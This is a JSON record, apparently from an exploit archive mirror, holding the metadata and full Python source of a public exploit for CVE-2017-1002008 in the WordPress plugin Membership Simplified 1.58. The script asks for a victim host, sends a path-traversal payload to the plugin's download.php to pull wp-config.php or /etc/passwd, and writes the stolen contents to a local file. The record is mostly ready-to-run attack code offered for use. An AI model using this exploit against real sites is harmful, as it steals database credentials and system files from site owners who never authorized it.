{"exploit":{"id":"EDB-41622","name":"WordPress Plugin Membership Simplified 1.58 - Arbitrary File Download","description":"WordPress Plugin Membership Simplified 1.58 - Arbitrary File Download","cves":["CVE-2017-1002008"],"author":"The Martian","published":"2017-03-16","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41622","path":"exploits/php/webapps/41622.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41622.py","vulnerabilities":[{"id":"CVE-2017-1002008","state":"PUBLISHED","title":null,"titleSource":null,"description":"Vulnerability in wordpress plugin membership-simplified-for-oap-members-only v1.58, The file download code located membership-simplified-for-oap-members-only/download.php does not check whether a user is logged in and has download privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-1002008","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-1002008"},"updatedAt":"2024-08-05T22:00:41.659Z","retrievedAt":"2026-11-27T15:06:53.198Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41622.png?v=2","url":"https://exploitbin.com/exploits/EDB-41622","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41622/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41622/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"import requests\nimport string\nimport random\nfrom urlparse import urlparse\n\nprint \"---------------------------------------------------------------------\"\nprint \"Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\\nDiscovery: Larry W. Cashdollar\\nExploit Author: Munir Njiru\\nWebsite: https://www.alien-within.com\\nCVE-2017-1002008\\nCWE: 23\\n\\nReference URLs:\\nhttp://www.vapidlabs.com/advisory.php?v=187\"\nprint \"---------------------------------------------------------------------\"\nvictim = raw_input(\"Please Enter victim host e.g. http://example.com: \")\nfile_choice=raw_input (\"\\n Please choose a number representing the file to attack: \\n1. Wordpress Config \\n2. Linux Passwd File\\n\")\nif file_choice == \"1\":\n    payload=\"..././..././..././wp-config.php\"\nelif file_choice == \"2\":\n    payload=\"..././..././..././..././..././..././..././..././etc/passwd\"\nelse:\n    print \"Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit\"\n    quit()\nslug = \"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=\"+payload\ntarget=victim+slug\ndef randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for _ in range(size))\n\ndef checkPlugin():\n    pluginExists = requests.get(victim+\"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php\")\n    pluginExistence = pluginExists.status_code\n    if pluginExistence == 200:\n        print \"\\nI can reach the target & it seems vulnerable, I will attempt the exploit\\nRunning exploit...\"\n        exploit()\n    else:\n        print \"Target has a funny code & might not be vulnerable, I will now exit\\n\"\n        quit()\n\ndef exploit():\n\n    getThatFile = requests.get(target)\n    fileState = getThatFile.status_code\n    breakApart=urlparse(victim)\n    extract_hostname=breakApart.netloc\n    randomDifferentiator=randomizeFile()\n    cleanName=str(randomDifferentiator)\n    if fileState == 200:\n\trespFromThatFile = getThatFile.text\n\tif file_choice == \"1\":\n\t\tresultFile=extract_hostname+\"_config_\"+cleanName+\".txt\"\n\t\tprint resultFile\n\t\tpwned=open(resultFile, 'w')\n\t\tpwned.write(respFromThatFile)\n\t\tpwned.close\n\t\tprint \"Wordpress Config Written to \"+resultFile\n\telse:\n\t\tresultFile=extract_hostname+\"_passwd\"+cleanName+\".txt\"\n\t\tpwned=open(resultFile, 'w')\n\t\tpwned.write(respFromThatFile)\n\t\tpwned.close\n\t\tprint \"Passwd File Written to \"+resultFile\n    else:\n\tprint \"I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \\n\" +fileState\n\nif __name__ == \"__main__\":\n    checkPlugin()","sha256":"4cb851c38be38a87b7fe732b844c72f26a498c8ff944adb9c300fe40936103a3","bytes":2636,"fetchedAt":"2026-11-27T15:06:52.993Z","encoding":"utf-8 (display only; download retains original bytes)"}